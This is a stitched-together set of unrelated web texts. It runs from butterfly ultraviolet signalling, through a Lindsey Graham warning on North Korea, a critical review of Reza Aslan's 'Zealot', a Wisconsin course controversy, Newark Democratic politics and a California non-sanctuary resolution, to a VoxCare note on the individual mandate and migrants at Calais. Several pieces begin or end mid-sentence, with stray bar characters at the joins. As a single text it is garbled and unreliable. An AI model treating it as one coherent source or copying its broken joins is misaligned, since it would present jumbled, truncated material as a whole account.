Some butterfly species use ultraviolet light as a method of signaling their sex. For example, in the species Eurema lisa, males possess the structural requirements necessary to reflect ultraviolet light discussed previously, but females lack the ultraviolet light reflecting ridges. In both sexes of this species, a flutter response, or the rapid opening and closing of the wings, is performed when a male approaches another butterfly; yet, males copulate with females who perform this behavior, while retreating from males who perform the flutter response. By showing that male and female wings are similar in appearance except for UV reflectance and an approaching male is exposed to ultraviolet reflection of a male's wings during a flutter response, as well as ruling out temporal differences in the flutter behavior as a cause for sex recognition, Ronald Rutowski concluded that ultraviolet light was being used as an indicator of the male sex.[9] However, in some species this distinction is not seen at all times, and UV patterns may vary visually depending on the position of reflecting light. This can be seen in the common brimstone, where males will exhibit male or female patterns of iridescence with different positions, distances, and angles of light - this is known as the "gynandromorphic" effect.[10]
The ultraviolet communication system employed by butterflies is also used an indicator of male sex to other rival males in the butterfly, Colias eurytheme. In this species, only males are able to reflect ultraviolet light off the dorsal side of their wings, while females cannot. The male sexual behavior is similar to most butterflies. The male hovers over a sitting female and dips to one of the female's sides and flutters. Then, if the female remains still, the male will land on her, her wings, or on the vegetation and attempt copulation. Copulation tends to last for an hour and often other males attempt to approach the mating pair. However, the male in midst of mating flashes his UV reflecting hind wings and approaching males are deterred. It was concluded that male Colias eurytheme uses ultraviolet light as a signal to repel other males.[11] Thus, male Colias eurtheme butterflies use their private channel in the ultraviolet to signal their sex as well as deter other males from copulating with his mate.
References [ edit ]Republican Senator Lindsey Graham has warned that the rising tensions between the the US and Kim Jong-un’s corrupt regime means preparations for war need to be taken. The member of the Senate Armed Services Committee warned the US was “running out of time” to prepare itself for war when speaking on CBS yesterday. He said: “I want the Pentagon to stop sending dependents and I think it’s now time to start moving American dependents out of South Korea. “We're getting close to a military conflict because North Korea is marching toward marrying up the technology of an ICBM with a nuclear weapon on top that can not only get to America, but deliver the weapon.
GETTY The US has been warned to evacuate troops' families from South Korea
“We’re running out of time.” Fears of war between the two countries hit a new high last week after the rogue state announced they had successfully tested a missile capable of targeting any part of the US equipped with a nuclear weapon. The launch ended over 60 days of silence from North Korea’s missile programme after regular missile tests paused in September. According to South Korea’s military, the latest missile flew some 596 miles (960km) to an altitude of around 2,796 miles (4,500km).
Inside Seoul's nuclear bunkers amid North Korea threat Thu, November 30, 2017 First ever high street bunkers are now being sold in busy Seoul shopping district, thanks to a British firm and there are plans to roll out showrooms in Europe and the UK amid the nuclear threat from North Korea Play slideshow IMP Features/Chris White 1 of 10
Following the launch Hawaii began immediate test to prepare for a nuclear strike. Authorities on the island began to test a w |
a separation of powers: obey the temporal law of the Caesar, but tend to the worship of your Jewish God. Here is another translation, from "The New Covenant," by Willis Barnstone (The Revised New Testament, Norton 2002):
Is it right to pay the tax to Caesar or not? Should we give or not give? But he saw their hypocrisy and said to them, Why are you testing me? Bring me a denarius to look at it. They brought one. And he said to them, Whose image is this and whose name? They said to him, Caesar’s. Yeshua said to them, The things of Caesar give to Caesar, and the things of God give to God."
(Barnstone's translation from the Greek restores the Hebrew names in the Bible, including that of Jesus/Yeshua.) Barnstone interprets the drama of the coin this way:
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Yeshua's recognition of the authority of the emperor for things of the emperor, the hypocrisy of Jewish authorities who cast doubt on the authority of the emperor, and that payment to the emperor does not imperil the things that are God's. (RNT)
None of these translations, the authorized and the new, provide sufficient support to the image of the Zealot. Reza Aslan translates the Greek himself:
The Temple authorities [... ] ask: "Is it lawful to pay the tribute to Caesar or not?" [...] "Show me a denarius," Jesus says, referring to the Roman coin used to pay the tribute. "Whose image is this and whose inscription?" "It is Caesar’s," the authorities reply. "Well, then, give back to Caesar the property that belongs to Caesar, and give back to God the property that belongs to God.”
The insertion of the word "property" allows the author to claim that:
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According to Jesus, Caesar is entitled to be “given back” the denarius coin, not because he deserves tribute, but because it is his coin: his name and picture are stamped on it. God has nothing to do with it. By extension, God is entitled to be “given back” the land the Romans have seized for themselves because it is God's land: “The Land is Mine,” says the Lord (Leviticus 25:33). Caesar has nothing to do with it.
It's a breathtaking interpretation: if this is what Jesus means and what his questioners understand, Jesus is inarguably a "bandit." Reported to the Romans, the crime is clear and punishable by execution. Jesus is a peasant revolutionary who is leading an insurrection intended to crown him "King of the Jews," an independent king of God's occupied land. The ambiguity of Jesus' answer doesn't fool his questioners, according to Aslan, because ambiguity is the signature of this prophet who delivers his messages through parables and metaphors, analogies, poetry, and quotations from the older prophets of the Hebrew Bible. For the Pharisees and the Romans, the language of Jesus hides his seditious identity as the political messiah eager to be "the King of the Jews." The author of Zealot retranslates the passage so that we might hear it just as the Pharisees and the Romans might have.
From this point on the Zealot is set in cement. The covert Jesus, "Jesus the man," hard at work hiding in plain sight before his inquisitors, as well as his followers, is a creature arisen from the ready-to-boil-over stew of the messianic, nationalist, and factionalized Roman client-state of Israel. He is now clearly just another "bandit," leading an insurrection against the Jewish establishment, its Roman overseer, and "property" in general. Aslan deploys a fairly conventional Marxist-flavored analysis of Jewish society, economy, and class in the first century C.E. To arrive at his revolutionary destiny, Jesus is born in the dirt-poor farming hamlet of Nazareth, a forgotten, forsaken, pitiful congregation of a few mud huts where no carpenter (Jesus' gospel-assigned profession) could have practiced; a place where learning could not have possibly taken place because we know (or suspect) that most people in such places were illiterate. Aslan's argument begins with the infelicitous phrase, "The trouble with Nazareth" — a colloquial faux-academic turning up of the nose, which is ironically corrected when Aslan forgives Luke the odd assertion that Jesus "the Nazarene" was actually born in Bethlehem. Luke's rebirthing of Jesus is for the (later) purpose of harmonizing him with the prophecy of Isaiah that the Messiah is going to be born in Bethlehem. Reza Aslan gives Luke a pass on spinning the place of Jesus' birth because Jesus was for Luke "the eternal logos from whom creation sprang [...] swaddled in a filthy manger in Bethlehem," and not the "historical" Jesus who should be looked for "in the crumbling mud and loose brick homes tucked within the windswept hamlet of Nazareth." What's the difference, you might ask, between the authorized "filthy manger" and the "windswept [...] loose brick [...] of Nazareth?" Both are equally disregarded on maps and both socially wretched. What is the problem with Nazareth? Small, but not insignificant. Nazareth is more proletarian, more alienated. Bethlehem is more prosperous, farm-rich. In other words, if you are the Jesus about to come from this book, you must let people think that you are from a place profligate with metaphors (farming), not a severe (noir) slum that alone (and secretly) guarantees (through its lack of poetic fancy) the rigor of a true revolutionary.
Luke is forgiven his metaphysics, so that our contemporary myth-maker can build his dialectic. At first, I was not alarmed by this transmillennial deal between Luke and Aslan, because the story is well known and usually assigned to the eagerness of the post-Jesus writers of the Gospels to make everything about their Messiah fit the Jewish prophets. But the Nazarenetekton (constructor, builder, carpenter) is lent another hypothesis concerning his post-infancy: the nearby city of Sepphoris, a city with culture to spare, just a walk from Nazareth. Sepphoris needs labor, and the carpenter-tramps of the favelas are flocking to it. It's here Jesus gets his chops, "a peasant boy in the big city." Sepphoris is a "Hellenized and Romanized" city with a "rapidly expanding divide between the absurdly rich and the indebted poor." It all makes sense if one knows that the tyrant of Sepphoris is Herod Antipas." Jesus may have regularly set eyes upon the man who would one day cut off the head of his friend and mentor, John the Baptist, and seek to do the same to him." Antipas didn't, of course, get to do that.
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With his birth and education taken care of, Jesus-the-man begins a vertiginous ascent to radical politics. Jesus-the-like-Lenin-man is surrounded by a thick atmosphere of supporting "facts." To animate his protagonist, Aslan re-narrates the Bible, as does every historian, novelist, or film director. The retelling disposes of all unnecessary material circulated against type. Some of this is mythical detritus, quickly discarded: Mary's status and Jesus' legitimacy is better left to the ten thousand theologians standing over this question. Aslan tends briefly to the old question of whether Jesus was married or not, but in the end he leaves it to the Da Vinci Code. There is no hint of sexual impropriety, as befits a revolutionary leader, leaving "temptations" to the lesser Jesus biographers. On this subject, Reza Aslan is clear: "Scholars tend to see the Jesus they want to see," which is true enough. Unfortunately, he goes on to say, "Too often they see themselves [italic in the original] — their own reflection — in the image of Jesus they constructed." This is, I hope, untrue, because if Professor Aslan sees himself in the Jesus he's constructed we are in trouble. Lock the door. Call Berdiayev.
The question is: why? A reader's appetite for "fact" has long been satisfied. There isn't much "evidence" concerning Jesus-the-man, but it's enough to outline an absence that the centuries have filled with stories. And there is still room. We have written documentation within a century of Jesus' death, and enough archeological evidence to place this Jewish prophet in a tradition and context, and harmonize him with the contradictions in the Gospels. But his "life" only begins after his death. Anything about the man must be inferred post-mortem. All the numerous forensic reconstructions have run a serpentine course through three languages, Greek, Hebrew, Aramaic, and through disputed issues of composition, translation, and orality. Scholars have identified and argued over the oldest material, as if less distance meant more veracity. Unfortunately, in the case of a man-god, imagination works faster than research, and wishfulness is quicker than expression. Even supported by arduous scholarship, books about "the life of Jesus" are fictions. What makes these fictions both difficult and very easy is the Gospels, which are such a devilish (to coin a phrase) brew of fiction and (some) fact, they can only be parted from one another at the risk of losing their central figure. All the Gospels were written in Greek, in the Roman Empire, in the first century, following the death of Jesus. The first, Mark's, is spare, dramatic, and clean; it is the work of a writer (or a collective) who knows all there is to know about stories. In Mark, Jesus only goes to Jerusalem once, but he makes it a good one. He is born in Bethlehem where the Messiah must be born. His birth is not glossed, and the resurrection gets no ink: it is obvious to Mark that both birth and resurrection are miracles. The less said about miracles (as opposed to wonders) the better: glossing them drains their power.
By the time John wrote his gospel, 100 years after Mark, literature had done its damage: long descriptions, explanations, exhortations, and threats to unbelievers, excessive dialogue, vividly imagined spectacles... barnacles of style prefiguring the baroque. John's Jesus goes to Jerusalem all the time with his family to offer sacrifice, and each time he picks up a little more Greek, a bit more theology, a soupcon of magic, the electricity of the Temple mobs. His messianic mission is overt, his healings and magic numerous. The birth is attended by cosmic phenomena, the resurrection witnessed by many. By the cutoff date of canonization, the Gospels have given us the life-story of "Jesus of Nazareth, the Son of Man" (a Jewish wonder-worker maybe born in Nazareth), and the materials to begin constructing "Jesus Christ, the Son of God" (a Jewish divinity lent to all nations by its evangelists). From Mark to John, Jesus undergoes a genre change: he has been transformed from poetry into prose, from a luminous absence to a cave filled with flashlights. He has become a seminal literary character. Subsequently, authors mass-produce human Jezi, some of whom appear to stand on "history," others on nothing more than fancy and wish. But for all of them (or the good ones, at least) the smart money is on Mark. There is room in Mark. John is claustrophobic already.
Reza Aslan tiptoes into his own fiction on the tender crutches of two introductions. The first, titled "Author's Note," clearly written in anticipation of a "general reader" of the (perhaps) Christian variety, relates the touching personal story of an Iranian-American teenager who finds Christ at a summer Bible camp and is possessed of that marvelous encounter until college. The Bible camp presented him with a simplified, "naturally" anti-Semitic Jesus who "was America" (italic in the original). Jesus was also an embodiment of his teenage rebellion against his parents, who had fled from the Ayatollah's zealotry to America, where they practiced a "lukewarm" version of Islam. In college he read in "religious studies," and was thus presented, one assumes, with a variety of beliefs, including Zoroastrianism, the original Persian religion, and Islam. Thus enlightened, he "began to rethink the faith and culture of my forefathers, finding in them as an adult a deeper, more intimate familiarity [...]" This return freed him from the Bible Camp Jesus to the point of liberating his inner "inquisitive scholar" to look for another Jesus, a "historical" one. Nothing wrong with either recovering his familiar faith or researching his former Savior. Quite the contrary. In so doing, the young researcher found a "revolutionary who challenged the rule of the most powerful empire the world had ever known." If anything, this made the young reconvert to Islam even more fond of Jesus, so much so that he can "confidently say that two decades of rigorous academic research into the origins of Christianity has made me a more genuinely committed disciple of Jesus of Nazareth than I ever was of Jesus Christ."
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Oy! To my knowledge, no modern account of the "historical Jesus" makes such an ab initio pledge. Such a thing would seem ludicrous even in a novel, and plain weird in a history book. Imagine Paula Fredericksen's Jesus of Nazareth, King of the Jews (2009), leading off with the writer's personal relation to Jesus, whatever it might be. And yet, there is no mystery why the pledge is in this book. It is embarrassing for this Jewish-Romanian-American reviewer to note this "credo," which may be sincere, or, in the worst case, required by the publisher's fear that a life of Jesus written by an Iranian Muslim might need some extra cover. In either case, it is not irrelevant, because it reverberates in the writing. When the "criminal" Jesus "received a plaque" reading "King of the Jews" from the Romans, the arch phrasing makes it sound like an honor.
In the second introduction ("Introduction"), Reza Aslan brings the reader a little closer to the story of his Jesus, by re-familiarizing us with the unsettled epoch from which the messianic Nazarean sprang. It was a time when "countless prophets, preachers, and messiahs tramped through the Holy Land delivering messages of God's imminent judgment." These proto-hippie tramps were so ubiquitous they were satirized in Roman popular culture, much as they were later, in Monty Python's Life of Brian. One of the messiahs from the New Testament is Theudas, who "had four hundred disciples before Rome captured him and cut off his head." This offhand reference to the method of execution is later joined by another, meted out to a "James" (no relation to Jesus, but maybe his brother), who was stoned "for transgression of the law." This character is extracted from "a brief throwaway passage" in Jewish Antiquities, a Roman history by the Jewish historian Josephus Flavius. Josephus goes on to serve much of Reza Aslan's research, but even so, is there so much Flavius that he can afford to throw away a messianic reference that sets the stage for Jesus? Nor is "James," who was "stoned" given much rope: "In a society without surnames, a common name like James required a specific appellation — a place of birth or a father's name — to distinguish it from all the other men named James roaming around Palestine." But: since Flavius also writes that this James was "the brother of Jesus, the one they call the messiah," he may indeed be the brother of Jesus, which is hardly a "throwaway passage," since it is the Jewish historian's only known reference to Jesus. By 94 C.E. when JewishAntiquities was written, Jesus the messiah executed by the Romans in yet another fashion, had already been noted by Suetonius, Tacitus, and Pliny the Younger. Well documented is also James, the brother of Jesus, who is leading the Christian community of Jerusalem and has a more-than-theoretical fight with Paul of Tarsus about the future direction of the cult. About Jesus, Tacitus and Pliny mention only "his arrest and execution," but not the method. Professor Aslan does describe the various types of execution meted to different criminals for different crimes, and claims that crucifixion was a choice punishment reserved for messiah "bandits." An honor, indeed. "Every criminal who hung on a cross received a plaque declaring the specific crime for which he was being executed. Jesus' crime, in the eyes of Rome, was striving for kingly rule (i.e., treason)." His plaque read "King of the Jews."
"Yet if one wants to uncover what Jesus himself truly believed, one must never lose sight of this fundamental fact: Jesus of Nazareth was first and finally a Jew [italics in the original].” "Israel was what mattered to Jesus." "With regard to the treatment of foreigners and outsiders, oppressors and occupiers, however, the Torah could not be clearer: 'You shall drive them out before you. You shall make no covenant with them and their gods. They shall not live in your land." (Exodus 23:31-33; italics in the original) "The Kingdom of God" about to be established would be flowing with the blood of these foreigners. Jesus "wielded God's finger" for "establishing God's dominion through his miraculous actions." Carried on by his Zealot Jesus, Aslan takes another leap, which lacks a few links: "He (Jesus) was, in effect, the Kingdom of God personified. Who else should sit on God's throne?" So when Pontius Pilate asks the "beaten and bruised" preacher "Are you the King of the Jews?" the only answer is "Yes." So he gets a plaque.
There are reams of text on the messianic aspects of Judaism, and much commentary following its waxes and wanes. The reformist, revolutionary, and nationalist impulses of Jewish history have been called into service by every theological or political argument that cared to use them. There is no point in taking issue with Reza Aslan's description of first century atmospherics, but it's worth, again, noting the language. The "Prologue" that follows the "Author's Note" and "the "Introduction" speaks of the high priest "pocketing a healthy fee," "the grubby money changers " in the Temple, the ceremonies "someone must pay for...," repeated for emphasis: "someone must pay for these necessities," "with the new currency in han," "money changers are happy to offer [... ] credit," "exorbitant interest rates," "default," "banking on it," "late payments," ""the power of the purse," this is not the time for thrift. [...] So purchase your offerings and make it a good one," "a handsome price in the market place" (for a sacrificed animal's hide). In one single paragraph we find "commerce," "financial institutions," largest bank," and on the following page, "lucrative," "takes a cut," "passed down to him" (by the wealthy), and we are still in first century Jerusalem mind you, not on Wall Street. I would have passed over these passionate descriptions of Judaic avariciousness as an overzealous mise-en-scène for the scene of Jesus overturning the merchants' tables in the Temple, if I hadn't run, less than a few paragraphs later, into the Yiddish word "nebbish," as in "his [Herod’s] nebbish sons, dulled by a life of idleness and languor." At this point, I wasn't sure what I was reading: a romance aimed at the gag reflex of attendees at a YWCA meeting or an advance apology for Kristallnacht (which, in all fairness, Jesus' later outburst foreshadowed).
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The storytelling is rarely as vivid as in the passage about commerce in the Temple, though a page concerning the stink of sacrificed carcasses and the generalized gore of Temple ceremonies, comes close. After these early descriptive bubbles, the prose peters off to expository-gray with occasional purple patches. Here is an assassin assessing the nearness of his victim, the high priest: "He need only listen for the jingle of the bells dangling from the hem of his robe. The peculiar melody is the surest sign that the high priest is coming." After the deed, "You should not be surprised if he is the first to cry, 'Murder!'" I'm not surprised, I think I saw that on CSI last night.
Among the many revolts, massacres assassinations, and executions that follow the crucifixion of a carpenter named Jesus around year 30 C.E., the anti-tax anti-Roman revolts escalate. The sicarii, a terrorist group of assassins led by Menahem, who had proclaimed himself "King of the Jews," seize the Temple, announce the arrival of the Kingdom of God, and issue their own currency inscribed Year One in Hebrew. The Zealot Party holds part of the Temple and fights other Jewish factions. Eleazar of the Temple, has Menahem tortured and killed for his blasphemous assumption of the kingly title. The sicarii and the Zealots, and their families, numbering about one thousand, are driven to their last redoubt, the fortress of Massada. A Roman legion arrives to besiege Masada, and the rebels commit collective suicide. Not one of them remains alive when the Romans finally stand victorious on top of the hill in 73 C.E.
To this tragic end of the Jewish nation, the author appends an entire paragraph: "The question is why it took so long." Meaning, why did it take the Roman legion so long to take Masada?
Is Aslan commenting on the incompetence of a Roman army in disarray, the accelerating fall of Rome reflected by its fighting force? Or is he allowing himself a bit of Yiddish-flavored irony, like the earlier "nebbish"?
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History answers only the first question. Rome enters into precipitous decline. 68–70 C.E are years described by Tacitus, and quoted by Aslan; "rich in disasters, terrible with battles, torn by civil struggles, horrible even in peace." Emperor Vespasian resolves to make an example of the Jewish revolt. After annihilating the Jewish force, he outlaws their religion and transforms the Temple into a place of worship for Roman gods. "The Jews were now the eternal enemy of Rome." "By the year 135 C.E., the name Jerusalem ceased to exist in all official Roman documents." "The Jews who survived the bloodbath blamed the radical bandits, the Sicarii and Zealots, for the Roman brutality." Jesus-the-Zealot stands thus accused, one more time.
If Reza Aslan's Zealot Jesus-the-man from Nazareth had somehow escaped crucifixion, he might have led another failed rebellion in 132 C.E., and would have been finally removed (assassinated) by the rabbis of the second century so that they might "develop an interpretation of Judaism that eschewed nationalism." There would have been no Christianity to speak of. It would have never happened. This is the likely conclusion of this particular Jesus-the-man from Nazareth, a zealot.
What can this Jesus mean? What can his politics mean to us in the age of popular culture? There is no overt mention of popular culture or any culture that Jesus-the-man might have enjoyed in his time as much as Lenin enjoyed Gorky in his. What does the Zealot tell us in a time of vampires, zombies, virtuality, and the surveillance state? It isn't a stretch: religions, borders, economic reality, and avatars in a state of permanent war, are the world where Reza Aslan's new Jesus-the-Man has been written. A relevant new Jesus would have to answer the dilemmas of a globalized world where all ideas of nation, God, reality, virtuality, script(ure), and vision are mixing. Covertly, the prose points willy-nilly to language in current use, and thus to the world we inhabit, and this is appropriate: the Jesus we expect hides in the Jesus we get, which is what Jesus, from his first appearance in history, has always done: hid in parables and fables. And in "history." Reza Aslan can't help hiding either himself or his character in the subtext. The author-as-fiction-writer stands in the same relation to his times as Jesus-the-man. In other words, the divine Christ and the true historian may not exist, but we are reasonably certain that the man and storyteller do. They live now and the book is published by Random House.A senior Wisconsin state representative who oversees the state's colleges and universities wants answers about a new course that questions "The Problem of Whiteness."
The class, scheduled to be taught during the spring semester at the University of Wisconsin-Madison, drew the ire of state Rep. Dave Murphy (R), chairman of the Assembly Committee on Colleges and Universities.
Murphy told the Milwaukee Journal Sentinel he doesn't want to micromanage the university system, but he has directed his staff to search through courses offered by state universities this semester to ensure "they're legit."
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Murphy's staff will not look through courses offered in hard sciences and business-related departments. But they will comb through the humanities looking for classes that might not be offering what he termed "legitimate education."
The course will be taught by Damon Sajnani, an assistant professor in the university's African Cultural Studies department. In a course description on the university's website, Sajnani writes the class "aims to understand how whiteness is socially constructed and experienced in order to help dismantle white supremacy."
The course "considers how race is experienced by white people." Students will read works by W.E.B. Du Bois and Ta-Nehisi Coates, among other titles, the university said in a statement.
"We believe this course, which is one of thousands offered at our university, will benefit students who are interested in developing a deeper understanding of race issues. The course is a challenge and response to racism of all kinds," the university said.
The course title comes from Richard Wright, the African-American author who wrote “Black Boy,” “Native Son” and other landmark novels. Wright, who spent much of his adult life in France, was asked about the "Negro problem" in America in the years after World War II.
"There is no Negro problem in the United States," Wright replied. "There's only a white problem."
Murphy has questioned the university's relationship with the professor, who tweeted several controversial comments, including one questioning whether the killings of Dallas police officers was a beginning of the "uprising."
"If UW-Madison stands with this professor," Murphy wrote, "I don't know how the university can expect the taxpayers to stand with UW-Madison."
Sajnani shot back on Twitter : "White supremacist backlash claiming no need for my course proves the need for my course."
Wisconsin Republicans have made something of a habit of threatening to cut funding from the state's flagship university over courses they find objectionable. Earlier this year, the number two Republican on Murphy's committee told the university system's chancellor and regents that their budget next year would depend in part on what they thought of a professor who assigned students to read an essay on gay sexual preferences.Newark Mayor Ras Baraka craves peace.
But he’s ready for war.
With all sides sharpening as the state heads toward at least a three-way 2017 Democratic Primary for Governor and Essex County stands forth: ground zero for political intrigue as the most Democratic Party-populous county, Baraka wants Jersey City Mayor Steven Fulop to be the next governor of New Jersey.
He’s hoping that amid all the hurt feelings of past collisions and meshuggah exorcisms that other powerful Democrats see it his way and won’t insist on coming to political blows over the Democrats’ best choice. But if they do resist, Baraka wants to have as many crossbows and catapults in position to move against Fortress Essex.
“I will do everything to make sure he’s elected governor,” Baraka said of Fulop. “Hopefully we [Essex County Democrats] will be together. In case that doesn’t work out. we will weigh our options.”
Baraka operates under the Jeffersonian principle that democracy requires a dust up every few years to purge itself of the worst impurities. So he’s not living in any kind of dismay over the prospect of a civil war in Essex. But he wouldn’t mind avoiding one, if it means being able to maintain always friendly relations with a diehard ally like state Senator Ronald L. Rice (D-28).
Rice earlier today reminded PolitickerNJ that while he loves Baraka, he detests Fulop, and doubts the Jersey City mayor’s ability to properly represent African-Americans.
“Obviously I don’t agree with that,” the Newark mayor said. “I wouldn’t be with him [Fulop] if that were true, and I’m probably, along with Ron, the most vocal person in the state on African-American issues. I don’t see Fulop on the opposite side of that, quite the contrary. I don’t think that’s real. Of course, Ron has a right to believe what he wants to believe.”
Rice isn’t the only relationship Baraka values.
After a Crazy Horse-Custer mayoral race in 2014, he and the Essex County Executive found a way to become friendly in the name of keeping Newark basically in the good graces of the county and state party establishments.
Whatever happens in 2017, peace or war, it will be a tenuous line to navigate.CLOSE A possible first in California, Tehama County has adopted a resolution declaring that it's not a sanctuary county.
Tehama County Supervisor Bob Williams, right, talks to Larry Treat, master miller at Lucero Olive Oil, in Corning on in February. Williams introduced a successful resolution to declare that his county has never been a sanctuary for undocumented immigrants -- a potential first for California. (Photo11: Greg Barnette/Record Searchlight)
REDDING, Calif. — The California backlash to President Trump’s immigration policy ends somewhere north of Sacramento.
Supervisors in two counties have voted to make their views clear: They are not a “sanctuary.”
Tehama County’s board of supervisors narrowly passed a resolution on the issue earlier this month that may be the first of its kind in California. Up on the Oregon border, Siskiyou County quickly followed suit with a resolution approved Tuesday. And the county between them, Shasta, is likely to consider the same.
These counties didn’t just buck the California trend of standing up to Trump by declaring local sanctuary status — or even revoke that status as Florida’s Miami-Dade County did earlier this month.
They went out of the way to formally vote they were never sanctuaries to begin with.
With Tehama leading and others following, “I’m sure you’re going to see a whole bunch fall right in line,” said Republican state Rep. Doug LaMalfa of Richvale, likening the non-sanctuary resolutions to the ongoing effort to gain independent statehood for this conservative region.
Local politicians said they weren’t familiar with any other California counties that had taken non-sanctuary votes, and several immigrant-rights organizations interviewed by the Record Searchlight said the same.
Other California jurisdictions, including Fresno, have unofficially said they’re not sanctuaries. And Tuesday, the City Council in Salinas narrowly turned down a proposal to declare sanctuary status. But outright non-sanctuary resolutions are a potential first.
“Very few jurisdictions are passing resolutions with this kind of language. In fact, the momentum is entirely in the other direction,” said Angélica Salceda, staff attorney with the American Civil Liberties Union of Northern California. “A number of California counties have reaffirmed or passed new policies that promote fair policing and keep immigrant communities safer, and that number keeps growing.”
The supervisor who introduced Tehama’s resolution said it’s about money.
Citing fears that the county would lose crucial federal funds because of Trump’s executive order to punish sanctuary jurisdictions, Supervisor Bob Williams introduced his resolution after finding out that Tehama had been included on a conservative political action committee’s sanctuary list.
Immigrant activists protest President Trump in Los Angeles. (Photo11: Mark Ralston, AFP/Getty Images)
Some lists consider all California counties sanctuaries, but the Ohio Jobs & Justice PAC specifically naming Tehama County — and not others — seemed odd. While agriculture is a leading industry here and the population is 24% Hispanic, Trump won a resounding 65% of the presidential vote.
Williams believes the misunderstanding about Tehama’s stance on illegal immigration stems from capacity releases at the jail.
Like many tough-on-crime rural counties, Tehama has struggled to keep its criminals locked up on a tight budget. While Immigration and Customs Enforcement agents can ask local jails to hold someone for them, it’s only mandatory if they actually get a warrant. That means a crammed jail can cause deputies to release undocumented immigrants.
“We didn’t even know we were a sanctuary county,” Williams said. “We don’t have any room at the jail. We’re full of felons, and so we can’t hold somebody on a minor offense just because they’re an illegal alien.”
Not every jurisdiction in the area is rushing into the fray.
Redding, the region’s hub city, never got on the PAC’s sanctuary list — probably because the county, not city, runs the local jail and deals with federal immigration officials. And since the city never declared sanctuary status, City Manager Kurt Starman said “there is no need for a resolution.”
But Tehama County Supervisor Les Baugh says there is. And it’s about more than the money. There isn’t “anything logical or acceptable” in flouting federal law, he said.
“We are certainly not a sanctuary county, and I think it’s important that we differentiate ourselves from California’s movement (toward that),” Baugh said. “California seems intent on running headlong into a legal battle with the federal government, and that doesn’t make any sense.”
“We are certainly not a sanctuary county, and I think it’s important that we differentiate ourselves from California’s movement (toward that). “California seems intent on running headlong into a legal battle with the federal government, and that doesn’t make any sense.” Tehama County Supervisor Les Baugh
But Salceda said plenty of other jurisdictions that offer “sanctuary” are using federal law to support their position.
“Trump may hope that cities and counties buckle under his threat, but local government and law enforcement officials have been preparing to defend their policies on how best to protect public safety in their communities,” she said.
Resolutions like Tehama’s can alienate people based on their race or legal-immigrant status, and cooperation with federal officials can open local jurisdictions up to liability, other immigration advocates argue.
“I think it is concerning, because it sends a message to immigrants and immigrant families that they might not be welcome in that particular place,” National Immigration Law Center Senior Staff Attorney Shiu-Ming Cheer said. “The other reason we’ve been seeing so many places in California issue pro-immigrant statements or resolutions is because they recognize that that tends to be better overall for their particular area, both economically but also socially.”
And Laura Vazquez, program manager for immigration at National Council of La Raza in Washington, D.C., said some counties actually see sanctuary policies as legal protection from being named in lawsuits centering on ICE detainers.
“Counties are saying, ‘We’re going to be on the hook for these practices, not federal agents who are requesting us to hold individuals,’” she said.
Two Tehama supervisors abstained from the vote, with one, Candy Carlson, saying the county would have to be “very, very careful” not to single people out by race, ethnicity or religion.
“I want to make very clear that that is not the intention of this board,” she said. “(It’s) looking at dollars that, right now, we probably could not function without.”
Williams rejected the idea that the resolution had anything to do with race, and said he doesn’t believe it will alienate constituents.
“Those who are held in custody are based on the severity of the crime, regardless of immigration status. This has nothing to do with legal immigrants or minorities who don't break the law,” he said. “It has everything to do with criminals, again, regardless of race.”
The new resolution may not be enough to get Tehama off the list, though.
Salvi, with the Ohio PAC, said he’ll wait for the county to “show me the numbers.” Plenty of other jurisdictions have asked to get off Salvi’s list since Trump announced his executive order, but he said intentions aren’t enough.
There’s no official government list of sanctuary jurisdictions, and “people are sending my list to the Trump administration,” Salvi said, and to John Kelly, the United States Department of Homeland Security secretary.
Some at Tehama County’s meeting voiced concern the resolution would — ironically — translate to punishment from immigration-friendly state politicians instead of federal ones. But Williams said it’s still important to declare the county’s dedication to federal law.
“You can worry about retaliation from Sacramento,” he said, “or you can worry about retaliation from Washington, D.C.”
CLOSE Many cities across the U.S. identify as sanctuary cities, despite President Trump's threat to withhold federal funds. Here's a closer look at what that label means. USA TODAY NETWORK
Read or Share this story: http://usat.ly/2mguEZKThis is the web version of VoxCare, a daily newsletter from Vox on the latest twists and turns in America’s health care debate. Like what you’re reading? Sign up to get VoxCare in your inbox here.
Obamacare's individual mandate can't catch a break.
The requirement that all Americans purchase health insurance was at the center of the first major battle over the Affordable Care Act: a Supreme Court case over whether it was legal to mandate the purchase of private health insurance.
The individual mandate survived that battle but now is at the center of another big fight, this one about tax reform. We learned late yesterday that Senate Republicans intend to add a repeal of the individual mandate to their tax bill.
There are two key reasons to do this.
First, repealing the mandate saves the government money. The Congressional Budget Office estimates that not requiring Americans to carry health insurance coverage would reduce the deficit by $316 billion over the next decade. (This is mostly because |
the UK, the cargo is deemed ‘contaminated’, no longer considered fit for human consumption and destroyed.
If this problem persists, it could lead to a shortage of supplies or a rise in food prices to cover the cost of ruined consignments.
The revelations came amid a growing clamour for action to tackle the immigration chaos at Calais.
The Freight Transport Association (FTA) had written to the mayor of Calais to call for her support for a campaign to address the worsening situation around migrant camps in northern France.
Entire truck-loads of imported fruit and vegetables have to be destroyed if stowaways are found inside the vehicle
More than 2,500 illegal migrants, many fleeing humanitarian disasters in Africa and the Middle East, are massing in shanty towns around the French city’s freight terminal in the hope they can smuggle on board UK-bound wagons.
The FTA wants to put pressure on the French and British governments — along with the European Union — to improve security and move groups of migrants away from the port.
Confrontations have been reported between migrants, police and hauliers as they make desperate attempts to board lorries. One lorry driver described the situation as being ‘like a war zone’.
Lorry drivers have been ordered not to stop within 130miles of Calais to try to minimise the risk of migrants clambering aboard in a desperate bid to reach Britain.
Haulage firms have told truckers that taking a break for a rest, to eat or refuel close to the port increases the prospect of stowaways sneaking on to their vehicles before they cross they Channel.
James Hookham, the FTA’s deputy chief executive, has written to officials in Calais and held talks with the Home Office amid claims the situation is now harming the British food supply chain.
He said: ‘We are pressing for more visible commitment from the French government to [tackle] criminal activities on French soil and [face] their responsibilities for the protection of British drivers while in their jurisdiction.
‘We have some lorries being surrounded by dozens, if not hundreds, of people, trying locks, attempting to get into containers, stowing themselves underneath or even slitting open curtain-sided vehicles to get in. It’s chaos.’
Once lorries have reached the country, the UK Border Force uses an array of search techniques including sniffer dogs, carbon dioxide detectors, heartbeat monitors, scanners and visual searches to find stowaways.
Britain has pledged £12million to help the French tighten security at the terminal. Much of the money is being spent on moving the 9ft-high fences which guarded world leaders at the recent Nato summit to Calais.
Large quantities of fresh food destined for supermarkets and other retailers has had to be ‘condemned’ for this reason
Calais’s mayor Natacha Bouchart has said migrants were desperate to reach Britain to claim benefits, because they believed it was like El Dorado, the mythical lost city of gold.
